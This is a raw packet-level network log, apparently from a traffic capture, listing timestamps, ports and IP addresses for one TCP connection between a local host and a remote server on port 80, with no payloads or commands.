Nov 4, 2024 16:52:38.477803946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477809906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477812052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477845907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477847099 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477891922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477897882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477904081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477910042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477916002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477921009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477931976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477932930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477938890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477952003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.477963924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.477963924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.478039980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478045940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478056908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478069067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478070974 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.478075981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478087902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478094101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478099108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.478100061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478108883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.478111029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.478147984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.478147984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526029110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526043892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526057005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526062965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526071072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526092052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526107073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526112080 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526230097 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526230097 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526694059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526710987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526719093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526725054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526731968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526738882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526773930 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526865005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526868105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526871920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526884079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526897907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526911974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526916981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526928902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526935101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526941061 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.526942015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.526956081 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527004004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527056932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527111053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527123928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527129889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527136087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527137041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527143955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527149916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527168036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527174950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527177095 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527225971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527226925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527226925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527231932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527245998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527251005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527257919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527276039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527280092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527283907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527296066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527302980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527304888 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527322054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527343988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527371883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527415991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527422905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527430058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527436018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527441978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527456045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527463913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527467012 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527470112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527482986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527498007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527563095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527575016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527581930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527585030 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527587891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527601004 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527606964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527611017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527614117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527618885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527632952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527641058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527643919 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527715921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527721882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527738094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527743101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527746916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527750015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527755976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527761936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527765036 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527780056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527789116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527796984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527806997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527806997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527928114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527935028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527949095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527955055 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527960062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527961016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527966022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527971983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527983904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527991056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.527995110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.527997017 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528022051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528029919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528040886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528047085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528052092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528052092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528054953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528060913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528067112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528074026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528074980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528078079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528098106 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528141975 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528148890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528160095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528166056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528171062 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528173923 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528178930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528184891 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528189898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528192043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528197050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528228045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528232098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528232098 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528245926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528251886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528255939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528258085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528265953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528285027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528289080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528289080 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528290033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528296947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528302908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528315067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528316021 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528368950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528376102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528417110 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528420925 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528428078 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528434992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528465033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528490067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528599977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528606892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528619051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528625011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528631926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528636932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528650045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528656006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528661013 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528707981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528714895 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528721094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528729916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528732061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528738976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528744936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528752089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528753996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528757095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.528765917 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.528995037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529021978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529023886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529031038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529083014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529083014 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529228926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529237986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529258013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529272079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529285908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529289961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529299974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529304028 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529309988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529314995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529328108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529333115 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529340029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529340982 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529345036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529351950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529364109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529370070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529375076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529377937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529377937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529381990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529397011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529407024 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529438019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529438019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529459000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529481888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529488087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529556990 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529566050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529573917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529586077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529592991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529664993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529755116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529762030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529779911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529787064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529798031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529803991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529813051 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529815912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529823065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529829979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529830933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529839039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529846907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.529850006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.529867887 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.530306101 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.576868057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576893091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576905966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576911926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576924086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576929092 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576936007 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576941013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.576967955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577064991 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577075958 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577090979 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577146053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577146053 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577312946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577320099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577326059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577390909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577397108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577397108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577397108 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577403069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577445984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577445984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577470064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577481031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577486992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577521086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577531099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577537060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577548981 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577562094 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577562094 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577574968 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577632904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577640057 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577651024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577655077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577661037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577663898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577666998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577677965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577709913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577717066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577728987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577737093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577743053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577754021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577759027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577764988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577765942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577771902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577810049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577810049 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577821970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577827930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577841043 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577846050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577852011 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577882051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577924967 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577928066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577934027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577944040 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577958107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577964067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577984095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.577985048 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.577989101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578012943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578018904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578025103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578066111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578066111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578082085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578088045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578098059 CET	80	59474	89.40.31.232	192.168.2.6
